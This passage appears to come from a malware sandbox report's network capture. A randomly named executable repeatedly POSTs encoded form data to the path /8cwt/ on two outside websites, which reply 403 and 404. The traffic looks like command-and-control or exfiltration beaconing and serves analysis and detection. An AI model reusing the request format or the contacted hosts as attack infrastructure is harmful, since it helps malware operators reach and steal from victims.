24eluX=47y8yc2UpsMBUMuAl8KcYQI56tycjxIIyf70U5SCI/tR8HVo6J3mCRgDOhC6h67ylz0AO/dI8YQkWtvCKenEMp8ebRgwcvqTN4eo5fj8Ly9P0tljAc42woGPnITf8p3gquJRlwaQOAS5iX/T6EEn0HJESk/kyEqwsp66eSjAKNM6z7pv+Ismi/8mVmSZX7DuH/7MBBy8BSclwkBfAjqJAsg=
Jun 4, 2024 14:17:46.250518084 CEST	380	IN	HTTP/1.1 403 Forbidden Server: nginx/1.14.2 Date: Tue, 04 Jun 2024 12:17:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 62 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 90 31 0e c2 30 0c 45 77 24 ee 60 ba a7 a1 d0 31 64 41 20 31 30 71 82 a4 36 4d a4 34 41 21 12 f4 f6 24 50 24 c4 cc c8 e8 ef e7 67 cb c2 a4 c1 c9 f9 4c 18 52 28 45 b2 c9 91 6c 97 6b d8 87 a8 2d 22 79 c1 5f a1 e0 4f 24 a3 3a e0 08 ba ef 82 0b 71 53 dd 8c 4d 54 15 45 47 3e 51 94 c2 34 df 86 9c 08 3e b5 cb ae 0c 4d 95 ef ad bf f3 a6 6e da 7a f5 89 f0 b2 a4 48 f9 fb c0 05 63 a0 e0 a2 10 ad ef 21 05 40 7b 55 da 11 1c 4f 87 1d 28 8f b0 35 31 0c 04 e7 68 c9 a3 1b 81 62 0c 31 4f f4 04 8c 15 d7 5f f1 cb 5f 3c 00 d2 96 ee 17 3b 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: bc10Ew$`1dA 10q6M4A!$P$gLR(Elk-"y_O$:qSMTEG>Q4>MnzHc!@{UO(51hb1O__<;0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.11.30	49862	66.81.203.196	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:17:48.780070066 CEST	1644	OUT	POST /8cwt/ HTTP/1.1 Host: www.accentbathrooms.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.accentbathrooms.com Referer: http://www.accentbathrooms.com/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 1139 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 34 37 79 38 79 63 32 55 70 73 4d 42 55 4d 75 41 6c 38 4b 63 59 51 49 35 36 74 79 63 6a 78 49 49 79 66 37 30 55 35 53 43 49 2f 31 52 39 78 70 6f 35 75 62 6d 4e 78 67 44 45 42 43 2f 68 36 37 76 6c 7a 73 4d 4f 2f 5a 59 38 64 55 6b 45 66 6e 43 4e 72 54 45 56 5a 38 65 5a 52 67 78 52 50 71 38 4e 34 4f 30 35 62 50 38 4c 79 39 50 30 72 68 6a 4a 70 55 32 79 6f 47 51 78 59 54 70 34 70 32 50 71 76 68 42 6c 77 65 41 4f 7a 61 35 69 33 76 54 34 32 38 6e 70 58 4a 52 58 6b 2f 38 79 45 6e 67 73 76 65 51 65 58 65 62 4b 4b 67 36 78 4f 6b 57 37 6f 77 42 39 64 4d 77 51 33 2b 32 57 4c 72 6a 65 73 4c 77 4b 69 4f 4e 47 54 30 58 2b 78 46 44 59 78 79 46 5a 5a 62 49 6a 68 63 38 44 50 65 46 51 53 48 70 77 2b 62 53 33 65 6c 53 77 41 59 57 76 68 67 51 52 43 61 4a 57 6b 37 2b 69 68 58 66 79 70 56 4b 4c 67 62 77 69 7a 6b 63 61 68 33 37 57 6d 57 56 4b 79 51 4e 42 69 5a 53 5a 39 55 2b 30 7a 78 31 75 54 6c 73 45 33 75 71 41 35 49 33 39 44 57 31 61 38 56 2b 4b 70 4c 54 6e 66 4f 2f 44 4e 4b 79 37 54 31 7a 70 58 42 [TRUNCATED] Data Ascii: 24eluX=47y8yc2UpsMBUMuAl8KcYQI56tycjxIIyf70U5SCI/1R9xpo5ubmNxgDEBC/h67vlzsMO/ZY8dUkEfnCNrTEVZ8eZRgxRPq8N4O05bP8Ly9P0rhjJpU2yoGQxYTp4p2PqvhBlweAOza5i3vT428npXJRXk/8yEngsveQeXebKKg6xOkW7owB9dMwQ3+2WLrjesLwKiONGT0X+xFDYxyFZZbIjhc8DPeFQSHpw+bS3elSwAYWvhgQRCaJWk7+ihXfypVKLgbwizkcah37WmWVKyQNBiZSZ9U+0zx1uTlsE3uqA5I39DW1a8V+KpLTnfO/DNKy7T1zpXBj1ZxOTOl0wHK+/p5M/yXrP7psvzQA7/adRdlekTFWZTrnOIwFjmeddmmTRJ5NqkNkAuu9emYlRacP4LI1y8rVPlmc4+71LVVDL3a/78nWMRnXy/SQN/BAumdPz8WZR/yiUkn8IwZ2vccn8YY7m/SlME9J668NROUiVnVUpSl8XVXG0ayywdkOkb9eHfvqQydJB5fJWm2LJJcNZrxvjT/pxSoFaP/yFpPBOurJmfbWh/Kc3bap4yoZlrGLdH1vbXOM847Ixz2wwiUE57g6omsgD/KkeKFz84vrBRjViWZdTFBWey6G2Ubg3GBD0U1yX+AIV8FEjq0F8ytOqQe0fA7NLuN9fWn4eNB6c4VKhB3O41eW8FLIMwMb5nA03FUOdjeITegdMcCHLtZzkpYdb9ivE+v1xmMpe6+FCxWpG466uPbDBROvKDxhv6gjqIa7yljcTUXpaF+hKicRAdtDysMLK88VxFeU8mJgvZGJVKRUObrpAcTeEGp4Xo74GCgEQoPl9xo/myYIUSlb8ylLEN91WgO7RhdVAZd+pBjkk1gYcRJoy9iSJ8Ubnr5xeqMqZ0lYj5NhRCOuC2Thew2Udc/6gBI57m2EriY0eEPO5Pd1KQTXksxsE31F8N3eotg5GWCW0ZI1Co0FjBiU+KVzuvEg8WqR5vz2ClVFV [TRUNCATED]
Jun 4, 2024 14:17:48.938534021 CEST	380	IN	HTTP/1.1 403 Forbidden Server: nginx/1.14.2 Date: Tue, 04 Jun 2024 12:17:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 62 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 90 31 0e c2 30 0c 45 77 24 ee 60 ba a7 a1 d0 31 64 41 20 31 30 71 82 a4 36 4d a4 34 41 21 12 f4 f6 24 50 24 c4 cc c8 e8 ef e7 67 cb c2 a4 c1 c9 f9 4c 18 52 28 45 b2 c9 91 6c 97 6b d8 87 a8 2d 22 79 c1 5f a1 e0 4f 24 a3 3a e0 08 ba ef 82 0b 71 53 dd 8c 4d 54 15 45 47 3e 51 94 c2 34 df 86 9c 08 3e b5 cb ae 0c 4d 95 ef ad bf f3 a6 6e da 7a f5 89 f0 b2 a4 48 f9 fb c0 05 63 a0 e0 a2 10 ad ef 21 05 40 7b 55 da 11 1c 4f 87 1d 28 8f b0 35 31 0c 04 e7 68 c9 a3 1b 81 62 0c 31 4f f4 04 8c 15 d7 5f f1 cb 5f 3c 00 d2 96 ee 17 3b 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: bc10Ew$`1dA 10q6M4A!$P$gLR(Elk-"y_O$:qSMTEG>Q4>MnzHc!@{UO(51hb1O__<;0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.11.30	49863	66.81.203.196	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:17:51.469299078 CEST	434	OUT	GET /8cwt/?24eluX=15acxp6jrOd/buvS9YLoVCwQt/eIj0wV8tP3YL3PMsIjyFVitYjgFC8LDxGQh6T0kTJLIrMUzadAXsDAGdfiNfgPYx4xbqKJILHq2u+5CghFrM1CdZcxiKw=&Mjnd0=JZHP8Tx0t6 HTTP/1.1 Host: www.accentbathrooms.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Jun 4, 2024 14:17:51.630954027 CEST	721	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.2 Date: Tue, 04 Jun 2024 12:17:51 GMT Content-Type: text/html Content-Length: 571 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.11.30	49864	162.43.104.164	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:18:02.482475996 CEST	701	OUT	POST /8cwt/ HTTP/1.1 Host: www.shun-yamagata.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.shun-yamagata.com Referer: http://www.shun-yamagata.com/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 203 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 6f 38 61 74 65 31 71 36 4d 71 6f 6f 2b 67 7a 59 4b 37 2b 53 72 66 36 4d 63 63 37 75 38 42 7a 63 75 2b 51 74 73 31 48 47 57 51 63 4f 50 53 36 39 74 47 44 68 2f 34 4c 6e 62 49 6b 2b 44 33 52 62 36 4b 38 79 73 4b 56 64 4e 6a 4b 4a 76 4f 6b 72 5a 4f 56 69 74 36 57 70 70 30 6c 49 61 6e 61 36 5a 38 46 52 73 36 63 6b 67 2f 52 68 6b 43 6f 6c 43 67 58 78 74 49 70 4c 4f 45 2f 44 38 67 56 6e 67 4b 59 76 6e 6d 42 75 52 69 71 65 2b 47 39 77 73 69 58 35 45 47 53 33 4f 69 39 7a 69 46 42 4a 50 63 65 35 52 58 47 4e 37 33 6b 6a 58 76 63 61 37 77 6e 4e 63 72 36 79 2f 2f 4a 47 35 6e 54 58 6d 67 3d 3d Data Ascii: 24eluX=o8ate1q6Mqoo+gzYK7+Srf6Mcc7u8Bzcu+Qts1HGWQcOPS69tGDh/4LnbIk+D3Rb6K8ysKVdNjKJvOkrZOVit6Wpp0lIana6Z8FRs6ckg/RhkColCgXxtIpLOE/D8gVngKYvnmBuRiqe+G9wsiX5EGS3Oi9ziFBJPce5RXGN73kjXvca7wnNcr6y//JG5nTXmg==
Jun 4, 2024 14:18:02.757194042 CEST	1289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 04 Jun 2024 12:18:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 25 Jul 2023 10:57:57 GMT ETag: W/"afe-6014d9a904f4f" Content-Encoding: gzip Data Raw: 35 31 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 8d 56 cf 6f 13 47 14 3e 7b ff 8a 61 a3 4a 25 ca 66 63 27 71 a8 b1 ad 4a 10 0a 2d 90 08 4a a1 a7 6a bc 3b b6 a7 ac 77 ac dd 75 12 b7 ca 1f 63 32 53 d1 12 95 08 50 49 0a 88 aa a0 36 4d 4b 28 ad 82 2a 0e a0 aa 97 26 d0 0b 51 a5 1e fb 66 67 d6 5e 27 06 b1 17 7b df cf ef 7d ef cd db 29 1e 38 3a 73 e4 c3 8f 67 a7 51 3d 6a 78 65 a3 28 7f 90 87 fd 5a c9 fc 14 9b 52 40 b0 0b 3f 0d 12 61 e4 d4 71 10 92 a8 64 4e 9f 3b 62 bd 3f 6b 22 1b 34 11 8d 3c 52 9e 18 9b 40 c7 a8 47 d0 69 16 a1 63 ac e5 bb 45 5b 69 b4 af 8f 1b a4 64 3a ac d9 0e 68 ad 1e 99 c8 61 7e 44 7c 08 76 24 91 a1 0b 67 a7 cf 7c 34 7d 06 9d f0 9d 51 99 3b 4e aa 1c 03 56 61 51 98 f2 3a 71 fa e8 f4 85 91 63 33 27 4f ce 9c 57 40 52 d6 73 94 cc 37 59 90 ce 32 4f dd a8 5e 72 c9 1c 75 88 15 bf 8c 50 9f 46 14 7b 56 e8 60 8f 94 b2 a3 63 23 0d 10 35 5a 8d 9e 44 a2 08 a3 36 d4 15 b5 9b 80 3f 22 0b 91 ed 84 21 c8 87 d1 e7 06 82 a7 81 83 1a f5 0b 68 ec 70 fc da c4 ae 4b fd 5a fc be 68 d0 46 4d 9b 55 58 e0 92 40 8b 5b [TRUNCATED] Data Ascii: 519VoG>{aJ%fc'qJ-Jj;wuc2SPI6MK(&Qfg^'{})8:sgQ=jxe(ZR@?aqdN;b?k"4<R@GicE[id:ha~D\|v$g\|4}Q;NVaQ:qc3'OW@Rs7Y2O^ruPF{V`c#5ZD6?"!hpKZhFMUX@[jk#rqX4lU[yRZ i.;)Yan[GV7Sp#2G)B6A)2OEN&~kyfKq`RRV=x'VPvtBHC)LlaXJ0ul\$7\HEske?A@I`#FHh>N9Q3i+`?5)rhI$EDK>gTQ0u*5VG]4T.k}B ~RG'qVd!B2pyl$)F4kG"%+lb'>"IYtvRO@xZ{5aT=x-R3)Bn#{m]6l0`"A@L[cl<E#SG+I`^u>\|Y\|.uNMWE<qxLFn(i8HUhCN_4^$;+l6M1?tz#~2D\|Wz7t!9),KQ8xa%9s{Qo/\|mu1.C-r [TRUNCATED]
Jun 4, 2024 14:18:02.757206917 CEST	300	IN	Data Raw: b1 9e 2d 17 25 39 f2 2e 02 9e f2 5f b1 12 c8 3b 8a 54 cb 67 ef 05 05 3c b4 6b ae 2c 2e 89 ab e2 96 58 e3 37 f9 df fc 0b be 0e bf 77 c5 13 38 8d ab fc e1 ea 15 7e 9f 5f e1 3b fc 29 bf c5 77 f9 8f 52 d7 59 02 50 39 ed df 44 8e 87 c3 b0 64 ea c5 69 Data Ascii: -%9._;Tg<k,.X7w8~_;)wRYP9Ddiu).mswRuma`_lVOLW61oVke_$qm]UY~x?'=:-sX[J{m/W~?,;s:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.11.30	49865	162.43.104.164	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:18:05.285547972 CEST	721	OUT	POST /8cwt/ HTTP/1.1 Host: www.shun-yamagata.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.shun-yamagata.com Referer: http://www.shun-yamagata.com/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 223 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 6f 38 61 74 65 31 71 36 4d 71 6f 6f 38 42 6a 59 50 62 43 53 74 2f 36 50 5a 63 37 75 79 68 7a 41 75 2f 73 74 73 33 72 57 57 6a 34 4f 50 77 69 39 2f 43 66 68 2b 34 4c 6e 55 6f 6b 37 4d 58 52 55 36 4b 78 52 73 4c 46 64 4e 67 32 4a 76 50 34 72 5a 34 64 39 74 71 57 72 67 55 6c 4b 65 6e 61 36 5a 38 46 52 73 36 49 4f 67 2f 5a 68 34 69 59 6c 43 45 4c 75 67 6f 70 49 65 55 2f 44 34 67 56 6a 67 4b 5a 66 6e 6c 46 58 52 67 53 65 2b 43 35 77 73 77 76 32 64 32 53 78 45 43 38 62 68 32 34 4e 45 64 6d 70 51 33 32 4f 2f 6e 55 48 62 59 74 41 6d 7a 54 50 50 4c 47 66 6a 2b 6b 75 37 6c 53 4d 37 6c 64 62 62 53 65 6e 7a 58 39 6e 65 68 33 57 72 4a 73 71 41 35 45 3d Data Ascii: 24eluX=o8ate1q6Mqoo8BjYPbCSt/6PZc7uyhzAu/sts3rWWj4OPwi9/Cfh+4LnUok7MXRU6KxRsLFdNg2JvP4rZ4d9tqWrgUlKena6Z8FRs6IOg/Zh4iYlCELugopIeU/D4gVjgKZfnlFXRgSe+C5wswv2d2SxEC8bh24NEdmpQ32O/nUHbYtAmzTPPLGfj+ku7lSM7ldbbSenzX9neh3WrJsqA5E=
Jun 4, 2024 14:18:05.562218904 CEST	1289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 04 Jun 2024 12:18:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 25 Jul 2023 10:57:57 GMT ETag: W/"afe-6014d9a904f4f" Content-Encoding: gzip Data Raw: 35 31 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 8d 56 cf 6f 13 47 14 3e 7b ff 8a 61 a3 4a 25 ca 66 63 27 71 a8 b1 ad 4a 10 0a 2d 90 08 4a a1 a7 6a bc 3b b6 a7 ac 77 ac dd 75 12 b7 ca 1f 63 32 53 d1 12 95 08 50 49 0a 88 aa a0 36 4d 4b 28 ad 82 2a 0e a0 aa 97 26 d0 0b 51 a5 1e fb 66 67 d6 5e 27 06 b1 17 7b df cf ef 7d ef cd db 29 1e 38 3a 73 e4 c3 8f 67 a7 51 3d 6a 78 65 a3 28 7f 90 87 fd 5a c9 fc 14 9b 52 40 b0 0b 3f 0d 12 61 e4 d4 71 10 92 a8 64 4e 9f 3b 62 bd 3f 6b 22 1b 34 11 8d 3c 52 9e 18 9b 40 c7 a8 47 d0 69 16 a1 63 ac e5 bb 45 5b 69 b4 af 8f 1b a4 64 3a ac d9 0e 68 ad 1e 99 c8 61 7e 44 7c 08 76 24 91 a1 0b 67 a7 cf 7c 34 7d 06 9d f0 9d 51 99 3b 4e aa 1c 03 56 61 51 98 f2 3a 71 fa e8 f4 85 91 63 33 27 4f ce 9c 57 40 52 d6 73 94 cc 37 59 90 ce 32 4f dd a8 5e 72 c9 1c 75 88 15 bf 8c 50 9f 46 14 7b 56 e8 60 8f 94 b2 a3 63 23 0d 10 35 5a 8d 9e 44 a2 08 a3 36 d4 15 b5 9b 80 3f 22 0b 91 ed 84 21 c8 87 d1 e7 06 82 a7 81 83 1a f5 0b 68 ec 70 fc da c4 ae 4b fd 5a fc be 68 d0 46 4d 9b 55 58 e0 92 40 8b 5b [TRUNCATED] Data Ascii: 519VoG>{aJ%fc'qJ-Jj;wuc2SPI6MK(&Qfg^'{})8:sgQ=jxe(ZR@?aqdN;b?k"4<R@GicE[id:ha~D\|v$g\|4}Q;NVaQ:qc3'OW@Rs7Y2O^ruPF{V`c#5ZD6?"!hpKZhFMUX@[jk#rqX4lU[yRZ i.;)Yan[GV7Sp#2G)B6A)2OEN&~kyfKq`RRV=x'VPvtBHC)LlaXJ0ul\$7\HEske?A@I`#FHh>N9Q3i+`?5)rhI$EDK>gTQ0u*5VG]4T.k}B ~RG'qVd!B2pyl$)F4kG"%+lb'>"IYtvRO@xZ{5aT=x-R3)Bn#{m]6l0`"A@L[cl<E#SG+I`^u>\|Y\|.uNMWE<qxLFn(i8HUhCN_4^$;+l6M1?tz#~2D\|Wz7t!9),KQ8xa%9s{Qo/\|mu1.C-r [TRUNCATED]
Jun 4, 2024 14:18:05.562242031 CEST	300	IN	Data Raw: b1 9e 2d 17 25 39 f2 2e 02 9e f2 5f b1 12 c8 3b 8a 54 cb 67 ef 05 05 3c b4 6b ae 2c 2e 89 ab e2 96 58 e3 37 f9 df fc 0b be 0e bf 77 c5 13 38 8d ab fc e1 ea 15 7e 9f 5f e1 3b fc 29 bf c5 77 f9 8f 52 d7 59 02 50 39 ed df 44 8e 87 c3 b0 64 ea c5 69 Data Ascii: -%9._;Tg<k,.X7w8~_;)wRYP9Ddiu).mswRuma`_lVOLW61oVke_$qm]UY~x?'=:-sX[J{m/W~?,;s:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.11.30	49866	162.43.104.164	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:18:08.121305943 CEST	1638	OUT	POST /8cwt/ HTTP/1.1 Host: www.shun-yamagata.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.shun-yamagata.com Referer: http://www.shun-yamagata.com/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 1139 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 6f 38 61 74 65 31 71 36 4d 71 6f 6f 38 42 6a 59 50 62 43 53 74 2f 36 50 5a 63 37 75 79 68 7a 41 75 2f 73 74 73 33 72 57 57 6a 77 4f 50 44 71 39 74 6a 66 68 39 34 4c 6e 4b 34 6b 36 4d 58 52 4a 36 4b 35 4e 73 4c 49 71 4e 6d 79 4a 75 74 77 72 52 74 39 39 6d 71 57 72 69 55 6c 4a 61 6e 61 72 5a 36 6c 56 73 36 59 4f 67 2f 5a 68 34 68 41 6c 46 51 58 75 69 6f 70 4c 4f 45 2f 66 38 67 55 30 67 4b 42 70 6e 6b 78 59 52 51 79 65 2f 6d 64 77 70 44 58 32 43 47 53 7a 48 43 38 44 68 33 45 43 45 65 53 54 51 33 43 6b 2f 6e 73 48 62 64 55 73 68 52 37 73 65 4e 53 66 69 39 63 73 74 47 43 7a 30 48 70 39 4c 45 79 36 78 47 64 73 66 6d 44 64 37 4d 73 57 56 59 44 31 7a 4b 79 58 6a 34 32 6f 42 45 55 4d 31 30 42 6f 78 31 66 49 6a 2f 55 30 72 76 37 4e 6a 77 55 70 57 4b 42 6a 41 2b 64 58 31 44 35 6c 67 4d 6d 62 44 4f 75 55 2f 4c 49 44 70 4c 59 66 6d 79 4e 31 47 6a 4f 6f 7a 6a 34 36 76 42 6f 77 56 47 6a 49 48 63 74 73 78 30 31 4f 2b 76 4c 48 46 75 39 58 31 69 56 46 64 56 74 37 2f 30 7a 37 64 61 44 61 45 75 4c [TRUNCATED] Data Ascii: 24eluX=o8ate1q6Mqoo8BjYPbCSt/6PZc7uyhzAu/sts3rWWjwOPDq9tjfh94LnK4k6MXRJ6K5NsLIqNmyJutwrRt99mqWriUlJanarZ6lVs6YOg/Zh4hAlFQXuiopLOE/f8gU0gKBpnkxYRQye/mdwpDX2CGSzHC8Dh3ECEeSTQ3Ck/nsHbdUshR7seNSfi9cstGCz0Hp9LEy6xGdsfmDd7MsWVYD1zKyXj42oBEUM10Box1fIj/U0rv7NjwUpWKBjA+dX1D5lgMmbDOuU/LIDpLYfmyN1GjOozj46vBowVGjIHctsx01O+vLHFu9X1iVFdVt7/0z7daDaEuLwFXBcvxWQsUm/OsWjZlbluP82DaWf59avvSOb9oxduX0VYYYkhr0OhAl/L1blhCy6ZQzXhvtWYWyucux2zOvYBqbK3HBeYW5WZnVTVfnHvWsmIdl2jWLktdyqJ+COZDBMp3pt/khbBGVziXh+LEeVF+ASSPj4nQAodAUBhg50WSDnsfF7W6Z3mrCyr7Wnc5DNe0oenDlgOGKPFHF0timkwlyVCTV4jcDHLM7tQspGq0xHpuRlO1GHLwWvnFSrQ7Tndhgw/ATIUDw4cfRKbbVLaxZqEp+vfQPvdFuz9FWRPYww1BNwJ1yQmno/ohclUe6g69PspmmQ9lyX03M3AaikHL1FaJ1vE9OW4r8DJ3bKM8IrGa6yazOd2kIkZdmfH6B3+KjiCNhQo9o8GT/TbzokJ09A18emwjZgJ5hPal90rueSb5vCHlB/GRX2/eRcHntskF+zgNQhnrPPF8+F/4ow90vsUqlGKAcR4djgqAv2jLMbLgML/vhsjroEG1uT+9PEjIdVSUA1ErEk1ShSITtbCkzXtdtUYz/NmgtqiHWNJrx6GJGUEoTJNI+jrl4lJQm2sFyRD+PBjMY8nx9GD6FWtBtqnR4AzYTSLH0WtHIXzdQt9uJ+Qh6HIIj3mdEY+GXOCRniS/FKc1hH1QRSQgRFEbYgbWkXoUIpN [TRUNCATED]
Jun 4, 2024 14:18:08.420351028 CEST	1289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 04 Jun 2024 12:18:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 25 Jul 2023 10:57:57 GMT ETag: W/"afe-6014d9a904f4f" Content-Encoding: gzip Data Raw: 35 31 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 8d 56 cf 6f 13 47 14 3e 7b ff 8a 61 a3 4a 25 ca 66 63 27 71 a8 b1 ad 4a 10 0a 2d 90 08 4a a1 a7 6a bc 3b b6 a7 ac 77 ac dd 75 12 b7 ca 1f 63 32 53 d1 12 95 08 50 49 0a 88 aa a0 36 4d 4b 28 ad 82 2a 0e a0 aa 97 26 d0 0b 51 a5 1e fb 66 67 d6 5e 27 06 b1 17 7b df cf ef 7d ef cd db 29 1e 38 3a 73 e4 c3 8f 67 a7 51 3d 6a 78 65 a3 28 7f 90 87 fd 5a c9 fc 14 9b 52 40 b0 0b 3f 0d 12 61 e4 d4 71 10 92 a8 64 4e 9f 3b 62 bd 3f 6b 22 1b 34 11 8d 3c 52 9e 18 9b 40 c7 a8 47 d0 69 16 a1 63 ac e5 bb 45 5b 69 b4 af 8f 1b a4 64 3a ac d9 0e 68 ad 1e 99 c8 61 7e 44 7c 08 76 24 91 a1 0b 67 a7 cf 7c 34 7d 06 9d f0 9d 51 99 3b 4e aa 1c 03 56 61 51 98 f2 3a 71 fa e8 f4 85 91 63 33 27 4f ce 9c 57 40 52 d6 73 94 cc 37 59 90 ce 32 4f dd a8 5e 72 c9 1c 75 88 15 bf 8c 50 9f 46 14 7b 56 e8 60 8f 94 b2 a3 63 23 0d 10 35 5a 8d 9e 44 a2 08 a3 36 d4 15 b5 9b 80 3f 22 0b 91 ed 84 21 c8 87 d1 e7 06 82 a7 81 83 1a f5 0b 68 ec 70 fc da c4 ae 4b fd 5a fc be 68 d0 46 4d 9b 55 58 e0 92 40 8b 5b [TRUNCATED] Data Ascii: 519VoG>{aJ%fc'qJ-Jj;wuc2SPI6MK(&Qfg^'{})8:sgQ=jxe(ZR@?aqdN;b?k"4<R@GicE[id:ha~D\|v$g\|4}Q;NVaQ:qc3'OW@Rs7Y2O^ruPF{V`c#5ZD6?"!hpKZhFMUX@[jk#rqX4lU[yRZ i.;)Yan[GV7Sp#2G)B6A)2OEN&~kyfKq`RRV=x'VPvtBHC)LlaXJ0ul\$7\HEske?A@I`#FHh>N9Q3i+`?5)rhI$EDK>gTQ0u*5VG]4T.k}B ~RG'qVd!B2pyl$)F4kG"%+lb'>"IYtvRO@xZ{5aT=x-R3)Bn#{m]6l0`"A@L[cl<E#SG+I`^u>\|Y\|.uNMWE<qxLFn(i8HUhCN_4^$;+l6M1?tz#~2D\|Wz7t!9),KQ8xa%9s{Qo/\|mu1.C-r [TRUNCATED]
